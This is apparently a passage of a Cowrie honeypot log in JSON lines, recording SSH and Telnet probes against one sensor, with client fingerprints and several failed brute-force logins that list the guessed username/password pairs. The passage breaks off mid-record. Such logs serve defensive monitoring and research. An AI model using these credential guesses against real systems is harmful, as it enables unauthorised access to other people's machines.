{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:45.423901Z","src_ip":"91.92.42.133","session":"5cb0ec0e7ec5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:45.426399Z","src_ip":"91.92.42.133","session":"5cb0ec0e7ec5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:46.601596Z","src_ip":"91.92.42.133","session":"5cb0ec0e7ec5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:47.826848Z","src_ip":"91.92.42.133","session":"5cb0ec0e7ec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56568,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b0b09ae6978","protocol":"ssh","message":"New connection: 91.92.42.133:56568 (159.203.135.109:22) [session: 7b0b09ae6978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:52.741887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:52.838998Z","src_ip":"91.92.42.133","session":"7b0b09ae6978","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:52.841891Z","src_ip":"91.92.42.133","session":"7b0b09ae6978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"A123456a","message":"login attempt [ubuntu/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:53.381358Z","src_ip":"91.92.42.133","session":"7b0b09ae6978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:54.491707Z","src_ip":"91.92.42.133","session":"7b0b09ae6978","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53704,"dst_ip":"159.203.135.109","dst_port":23,"session":"721cb206e95a","protocol":"telnet","message":"New connection: 172.81.62.90:53704 (159.203.135.109:23) [session: 721cb206e95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:59.042308Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44864,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccb576c4e77f","protocol":"ssh","message":"New connection: 91.92.42.133:44864 (159.203.135.109:22) [session: ccb576c4e77f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:59.763455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:59.942577Z","src_ip":"91.92.42.133","session":"ccb576c4e77f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:09:59.945468Z","src_ip":"91.92.42.133","session":"ccb576c4e77f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":44747,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad925761ad92","protocol":"ssh","message":"New connection: 112.216.108.62:44747 (159.203.135.109:22) [session: ad925761ad92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:00.588782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:00.593387Z","src_ip":"112.216.108.62","session":"ad925761ad92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"core","password":"1qaz2wsx","message":"login attempt [core/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:00.769854Z","src_ip":"91.92.42.133","session":"ccb576c4e77f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:00.801487Z","src_ip":"112.216.108.62","session":"ad925761ad92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123!@#","message":"login attempt [root/QWEqwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:01.670549Z","src_ip":"112.216.108.62","session":"ad925761ad92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:01.974654Z","src_ip":"91.92.42.133","session":"ccb576c4e77f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:02.881495Z","src_ip":"112.216.108.62","session":"ad925761ad92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47010,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d50a0a07d68","protocol":"ssh","message":"New connection: 91.92.42.133:47010 (159.203.135.109:22) [session: 2d50a0a07d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:07.246069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:07.322342Z","src_ip":"91.92.42.133","session":"2d50a0a07d68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:07.420377Z","src_ip":"91.92.42.133","session":"2d50a0a07d68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:08.037691Z","src_ip":"91.92.42.133","session":"2d50a0a07d68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:09.716877Z","src_ip":"91.92.42.133","session":"2d50a0a07d68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":58260,"dst_ip":"10.17.0.5","dst_port":22,"session":"6660b72a81c0","protocol":"ssh","message":"New connection: 45.140.193.156:58260 (10.17.0.5:22) [session: 6660b72a81c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:10.917384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:10.925144Z","src_ip":"45.140.193.156","session":"6660b72a81c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:11.050497Z","src_ip":"45.140.193.156","session":"6660b72a81c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234rfv","message":"login attempt [root/1234rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:11.499183Z","src_ip":"45.140.193.156","session":"6660b72a81c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:12.628669Z","src_ip":"45.140.193.156","session":"6660b72a81c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47016,"dst_ip":"159.203.135.109","dst_port":22,"session":"a40f5651c0a5","protocol":"ssh","message":"New connection: 91.92.42.133:47016 (159.203.135.109:22) [session: a40f5651c0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:13.273225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:13.973312Z","src_ip":"91.92.42.133","session":"a40f5651c0a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:13.991588Z","src_ip":"91.92.42.133","session":"a40f5651c0a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":42760,"dst_ip":"159.203.135.109","dst_port":22,"session":"bba959511b95","protocol":"ssh","message":"New connection: 27.71.230.31:42760 (159.203.135.109:22) [session: bba959511b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:14.558608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:14.588814Z","src_ip":"27.71.230.31","session":"bba959511b95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:15.158798Z","src_ip":"27.71.230.31","session":"bba959511b95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:16.957082Z","src_ip":"91.92.42.133","session":"a40f5651c0a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:18.558809Z","src_ip":"91.92.42.133","session":"a40f5651c0a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.955363273620605,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:20.345681Z","src_ip":"128.199.8.54","session":"cf433a8005b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56948,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e2022c9e2b7","protocol":"ssh","message":"New connection: 91.92.42.133:56948 (159.203.135.109:22) [session: 6e2022c9e2b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:20.491147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:21.141985Z","src_ip":"91.92.42.133","session":"6e2022c9e2b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr